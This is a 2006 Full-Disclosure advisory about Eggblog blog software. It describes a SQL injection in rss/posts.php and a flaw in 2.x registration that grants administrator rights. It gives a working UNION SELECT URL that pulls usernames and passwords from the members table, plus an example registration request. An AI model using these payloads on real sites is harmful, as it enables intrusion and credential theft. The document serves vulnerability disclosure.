--Security Report-- Advisory: Eggblog <= 3.x Multiple Remote Vulnerabilities --- Author: Mustafa Can Bjorn "nukedx a.k.a nuker" IPEKCI --- Date: 27/05/06 06:15 PM --- Contacts:{ ICQ: 10072 MSN/Email: nukedx@nukedx.com Web: http://www.nukedx.com } --- Vendor: Eggblog (http://www.eggblog.net/) Version: 3.0.6 and prior versions must be affected. About: Via this method remote attacker can inject arbitrary SQL queries to Eggblog.This SQL injection works with Eggblog version 3.0.6 and below.The problem is that id parameter id rss/posts.php did not sanitized properly before using it in SQL query.This caused to remote attacker inject arbitrary SQL queries and execute them.This SQL injection needs magic_quotes_gpc off. There is another problem in Eggblog 2.x.In registration member register status did not sanitized properly.This caused to remote attacker "register new member" as a admin nick and get administration privileges on Eggblog. Level: Critical --- How&Example: GET -> http://[site]/[EggBlog]/rss/posts.php?id=SQL EXAMPLE -> http://[site]/[EggBlog]/rss/posts.php?id=1'/**/UNION/**/SELECT/**/0,concat('Username:%20',username), concat('Password:%20',password)/**/from/**/eggblog_members/* POST/EXAMPLE -> http://[site]/[EggBlog]/home/register.php?username=victim&password=password&email=e@mail.com&ref= -- Timeline: * 27/05/2006: Vulnerability found. * 27/05/2006: Contacted with vendor and waiting reply. --- Exploit: http://www.nukedx.com/?getxpl=36 --- Original advisory can be found at: http://www.nukedx.com/?viewdoc=36 _______________________________________________ Full-Disclosure - We believe in it. Charter: http://lists.grok.org.uk/full-disclosure-charter.html Hosted and sponsored by Secunia - http://secunia.com/